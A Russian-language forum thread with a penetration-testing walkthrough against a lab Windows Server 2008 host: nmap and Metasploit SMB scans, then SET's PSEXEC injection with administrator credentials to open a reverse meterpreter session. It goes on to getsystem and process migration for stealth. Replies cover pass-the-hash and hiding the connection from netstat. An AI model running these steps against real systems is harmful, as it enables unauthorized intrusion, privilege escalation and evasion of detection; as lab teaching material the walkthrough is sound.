SMB Pentest Windows Server 2008

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Всем привет! В этой статье я опишу процедуру тестирования на проникновение целевого хоста под управлением Windows Server 2008.

upload_2017-1-21_20-28-44.png


Целью будет получение активной сессии meterpreter, на компьютере тестирующего.

В качестве платформы для проведения теста, мною будет использоваться Kali Linux 2016.2.

Итак, для начала немного информации, атака будет производиться используя уязвимости версии протокола SMB 2.2
SMB (Server Message Block) — сетевой протокол прикладного уровня для удалённого доступа к файлам, принтерам и другим сетевым ресурсам, а также для межпроцессорного взаимодействия.
Подвергаться эксплуатации в нашем случае будет 445 порт.

445/TCP,UDP MICROSOFT-DS — используется в Microsoft Windows 2000 и поздних версий, для прямого TCP/IP-доступа без использования NetBIOS.

Узнаем адрес сервера в сети и начнем со сканирования:

> nmap –sV –A 192.168.31.133

upload_2017-1-21_20-29-13.png


Первый положительный момент выделен, на сервере открыт интересующий нас порт.

upload_2017-1-21_20-29-41.png


Второй момент, это наличие включенного сервиса smbv2. Теперь необходимо узнать больше о версии протокола SMB.

Запустим Metasploit Framework и выполним последовательно следующее:

> use auxiliary/scanner/smb/smb_version

> msf exploit (smb_version)>set rhosts 192.168.31.ХХХ

> msf exploit (smb_version)>exploit

upload_2017-1-21_20-30-1.png


Затем выполним:

> use auxiliary/scanner/smb/smb2

> msf exploit (smb2)>set rhosts 192.168.0.XXX

> msf exploit (smb2)>set rport 445

> msf exploit (smb2)>exploit


upload_2017-1-21_20-30-26.png


Версия протокола и его наличие нам стали известны. Теперь можно переходить непосредственно к проникновению. Запускаем SET - Social Engineering Toolkit.

> setoolkit

upload_2017-1-21_20-30-53.png


Выбираем второй пункт (2):

upload_2017-1-21_20-31-19.png


Будем использовать PSEXEC Injection, выбираем (6):

upload_2017-1-21_20-31-33.png


Вводим данные согласно требованиям SET:

> 192.168.31.133 (Адрес целевого хоста)

> Administrator (Логин целевого хоста)

> Adminroot123 (Пароль целевого хоста)

> Следующий пункт пропускаем, жмем Enter

> Следующий пункт пропускаем, жмем Enter

> 192.168.31.201 (Адрес атакующей машины)

> 445 (SMB порт)

upload_2017-1-21_20-32-22.png


Если все прошло успешно, то в течение нескольких секунд запустится Metasploit, а затем откроется сессия meterpreter для доступа на целевой хост.

upload_2017-1-21_20-32-51.png


Проверяем работоспособность эксплойта и получаем системные привилегии:

> sessions –I 1

> sysinfo

> getsystem

upload_2017-1-21_20-33-14.png


Посмотрим список запущенных процессов:

> ps


upload_2017-1-21_20-33-43.png


Сам сервер, во время манипуляций ведет себя тихо, разве, что в tasklist появятся новые процессы, но с помощью миграции все поправимо:

upload_2017-1-21_20-34-5.png


Дальше действуем на свое усмотрение. В целом, на этом все. Спасибо за внимание.
 
M

m0tion

Зачем изобретать велосипед? PassTheHash спокойно работает из самого metasploita

Upd: внимательно перечитал статью, различие в том, что в SET используются команды powershell для доставки полезной нагрузки
 
  • Нравится
Реакции: Vander

Elektrolife

Green Team
21.10.2016
208
33
BIT
23
Т.е для эксплуатации данной уязвимости необходимо иметь логин и пароль пользователя данного ПК ? Как то не айс :) Кто ж нам добровольно отдаст учётные данные
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Т.е для эксплуатации данной уязвимости необходимо иметь логин и пароль пользователя данного ПК ? Как то не айс :) Кто ж нам добровольно отдаст учётные данные
Это лишь один из способов, методы добычи логина и пароля могут быть различными
 
A

Azat868

Сам сервер, во время манипуляций ведет себя тихо

После подключения meterpreter, на сервере в cmd netstat будет видно подключение?
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
А как спрятать?
Где то читал что можно провернуть не со своего ip в локальной сети, а со свободного ip в сети, буду признателен если ткнете в мануал
А все манипуляции проходят в локальной сети?
 
A

Azat868

А все манипуляции проходят в локальной сети?
Да
[doublepost=1495739040,1495732148][/doublepost]Правильно ли я понимаю "pass or hash" означает что можно вставить не расшифрованный хэш к примеру NTLMv2?
[doublepost=1495739776][/doublepost]С русскоязычным username отдает STATUS_LOGON_FAILURE
С англоязычным сессия приходит все нормально.
Как исправить?
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Да
[doublepost=1495739040,1495732148][/doublepost]Правильно ли я понимаю "pass or hash" означает что можно вставить не расшифрованный хэш к примеру NTLMv2?
[doublepost=1495739776][/doublepost]С русскоязычным username отдает STATUS_LOGON_FAILURE
С англоязычным сессия приходит все нормально.
Как исправить?
С русскоязычным, я тоже сталкивался с проблемой, пока не заморачивался решением.
Можно ставить хэш
 
A

Azat868

С русскоязычным, я тоже сталкивался с проблемой, пока не заморачивался решением.
Можно ставить хэш
:) с хэшем тоже прилетела сессия, это гуд.
А по поводу netstat'a не подскажите? Хотя бы пните в правильный запрос в пс, заранее благодарю
 

jsat

Green Team
20.04.2017
30
8
BIT
1
А как быть с WIndows Server 2008 R2 x86 и x64...
[doublepost=1498899695,1495876146][/doublepost]У меня тоже с русскоязычным username проблема, если хеш NTLM вставить как быть с SMBUser при использовании psexec...
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!